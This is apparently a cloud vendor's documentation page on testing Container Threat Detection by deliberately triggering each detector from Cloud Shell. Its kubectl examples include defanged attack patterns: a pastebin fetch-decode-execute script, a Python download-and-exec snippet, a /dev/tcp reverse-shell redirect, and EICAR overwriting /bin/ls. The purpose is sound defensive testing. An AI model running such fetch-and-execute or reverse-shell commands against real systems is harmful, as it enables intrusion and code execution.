Testing Container Threat Detection

This page explains how to verify that Container Threat Detection is working by intentionally triggering detectors and checking for findings. Container Threat Detection is a built-in service of the Premium and Enterprise tiers of Security Command Center. To view Container Threat Detection findings, it must be enabled in Security Command Center Services settings.

Before you begin

To detect potential threats to your containers, you need to make sure that your clusters are on a supported version of Google Kubernetes Engine (GKE). For more information, see using a supported GKE version.

Set environment variables

To test detectors, you use the Google Cloud console and Cloud Shell. You can set environment variables in Cloud Shell to make it easier to run commands. The following variables are used to test all Container Threat Detection detectors.

  1. Go to the Google Cloud console.

    Go to the Google Cloud console

  2. Select the project that contains the container you want to use to test.

  3. Click Activate Cloud Shell.

  4. In Cloud Shell, set environment variables.

    1. The zone your cluster is in:

      export ZONE=CLUSTER_ZONE

    2. The project your container is in:

      export PROJECT=PROJECT_ID

    3. Your cluster name:

      export CLUSTER_NAME=CLUSTER_NAME

The variables are set. The following sections include instructions for testing Container Threat Detection detectors.

Added Binary Executed

To trigger an Added Binary Executed finding, drop a binary in your container and execute it. This example deploys the latest Ubuntu 18.04 image, copies /bin/ls to another location, and then executes it. The binary's execution is unexpected because the copy of the binary wasn't part of the original container image, even when that image is on Ubuntu 18.04, and containers are meant to be immutable.

  1. Set environment variables.

  2. Use Cloud Shell to access the cluster control plane:

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Drop a binary and execute it:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

This test procedure should create an Added Binary Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

For noise reduction, when you first create a container, Container Threat Detection temporarily filters Added Binary Executed findings. To see all Added Binary Executed findings while a container is being set up, prefix your container name or pod name with ktd-test, as in the example.

Added Library Loaded

To trigger an Added Library Loaded finding, drop a library in your container and then load it. This example deploys the latest Ubuntu 18.04 image, copies /lib/x86_64-linux-gnu/libc.so.6 to another location, and then loads it using ld. The loaded library is unexpected because the copy of the library was not part of the original container image, even if that image is on Ubuntu 18.04, and containers are meant to be immutable.

  1. Set environment variables.

  2. Use Cloud Shell to access the cluster control plan:

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Drop a library and use ld to load it:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- sh -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

This test procedure should create an Added Library Loaded finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center at the organization level.

For noise reduction, when you first create a container, Container Threat Detection temporarily filters Added Library Loaded findings. To see all Added Library Loaded findings while a container is being set up, prefix your container name or pod name with ktd-test, as in the example.

Execution: Added Malicious Binary Executed

To trigger an Execution: Added Malicious Binary Executed finding, drop a malicious binary in your container and execute it. This example deploys the latest Ubuntu 18.04 image, creates a simulated malicious file, and then executes it. The binary's execution is unexpected because the simulated malicious binary wasn't part of the original container image, and the binary is an EICAR test file, a file classified as malicious by the threat intelligence.

  1. Set environment variables.

  2. Use Cloud Shell to access the cluster control plane:

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Drop the EICAR binary and execute it:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- sh -c \
"touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

This test procedure should create an Execution: Added Malicious Binary Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

For noise reduction, when you first create a container, Container Threat Detection temporarily filters Execution: Added Malicious Binary Executed findings. To see all Execution: Added Malicious Binary Executed findings while a container is being set up, prefix your container name or pod name with ktd-test, as in the example.

Execution: Malicious Python executed

To trigger an Execution: Malicious Python executed finding, you can execute Python in the following procedure in your container.

The procedure deploys the latest Python image, copies Python code that appears malicious, and then executes it. To trigger a detection, the Python code must appear malicious to the detector.

  1. Set environment variables.

  2. Use Cloud Shell to access the cluster control plan:

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Execute the following script in a new container.

    This Python code originated from a honeypot. However, it was modified so that it does not execute the malicious binary. Running the script won't cause malicious activity in your container. The binary at the referenced URL does not exist and attempting to follow the URL results in a 404 error. This is expected. The attempt to download, decode, and execute a binary using an inline script is what triggers the detection.

    tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run --restart=Never --rm=true  -i \
--image marketplace.gcr.io/google/python:latest "$tag" \
-- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

This test procedure creates an Execution: Malicious Python executed finding that you can view in Security Command Center and in Cloud Logging if you configured logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Modified Malicious Binary Executed

To trigger an Execution: Modified Malicious Binary Executed finding, modify a malicious binary in your container and execute it. This example deploys the latest Ubuntu 18.04 image, modifies /bin/ls to an EICAR testing malicious file, and then executes it. The binary's execution is unexpected because the created /bin/ls is modified during container runtime as an EICAR testing malicious binary, and the EICAR binary is a known malicious file according to the threat intelligence.

  1. Set environment variables.

  2. Use Cloud Shell to access the cluster control plane:

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Drop the EICAR binary and execute it:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

This test procedure should create an Execution: Modified Malicious Binary Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

For noise reduction, when you first create a container, Container Threat Detection temporarily filters Execution: Modified Malicious Binary Executed findings. To see all Execution: Modified Malicious Binary Executed findings while a container is being set up, prefix your container name or pod name with ktd-test, as in the example.

Malicious Script Executed

To trigger a Malicious Script Executed finding, you can execute the script in the following procedure in your container.

The procedure deploys the latest Ubuntu 18.04 image, copies a script that appears malicious, and then executes it. To trigger a detection, a script must appear malicious to the detector.

  1. Set environment variables.

  2. Use Cloud Shell to access the cluster control plan:

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Execute the following script in a new container.

    This inline Bourne shell script originated from a honeypot. However, it has been modified so that it does not execute the malicious binary, so running the script won't cause malicious activity in your container. The binary at the referenced URL may have been removed and attempting to follow the URL will result in a 404 error. This is expected. The attempt to download, decode, and execute a binary using an inline script is what triggers the detection.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
 kubectl run --restart=Never --rm=true  -i \
 --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
  -- sh -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

This test procedure creates a Malicious Script Executed finding that you can view in Security Command Center and in Cloud Logging if you've configured logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Malicious URL Observed

To trigger a Malicious URL Observed finding, execute a binary and provide a malicious URL as an argument.

The following example deploys an Ubuntu 18.04 image and executes /bin/curl to access a sample malware URL from the Safe Browsing service.

  1. Set environment variables.

  2. Use Cloud Shell to access the cluster control plan:

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Execute curl and provide a malicious URL as an argument:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   url="https://testsafebrowsing.appspot.com/s/malware.html"
   kubectl run --restart=Never --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- sh -c "curl $url | cat"

This test procedure triggers a Malicious URL Observed finding that you can view in Security Command Center and, if you have configured Logging for Container Threat Detection, in Cloud Logging. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center at the organization level.

Reverse Shell

To trigger a Reverse Shell finding, start a binary with stdin redirection to a TCP connected socket. This example copies /bin/echo to /tmp/sh, then starts /tmp/sh with redirection to the Google public DNS 8.8.8.8 on the DNS port. Nothing is printed when you run this example. To prevent any external code injection through a man-in-the-middle (MITM) attack, this example doesn't use the /bin/sh binary.

  1. Set environment variables.

  2. Use Cloud Shell to access the cluster control plan:

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Start a binary with /bin/echo redirection to the Google public DNS:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- bash -c "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

This test procedure creates a Reverse Shell finding you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center at the organization level.

Unexpected Child Shell

To test the Unexpected Child Shell detector, you can create a process tree that includes a child shell process.

The following example creates an consul->dash process tree, which can be detected by the Unexpected Child Shell detector. This test is safe because it uses only built-in binaries. This example does the following:

  1. Creates a copy of the sh process and names it consul.
  2. Copies the echo process and names it dash.
  3. Invokes the copied dash process in the copied consul process.

To trigger an Unexpected Child Shell finding, do the following:

  1. Set environment variables.

  2. Use Cloud Shell to access the cluster control plane:

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Use the mock consul process to invoke a mock shell:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run --restart=Never --rm=true -ti \
--image ubuntu "$tag" --command \
-- /bin/sh -c 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
/tmp/consul -c "/tmp/sh child ran successfully & wait"'

This test procedure creates an Unexpected Child Shell finding that you can view in Security Command Center. If Logging is configured for Container Threat Detection and you have Security Command Center Premium or Enterprise activated at the organization level, then you can view the finding in Cloud Logging too.

What's next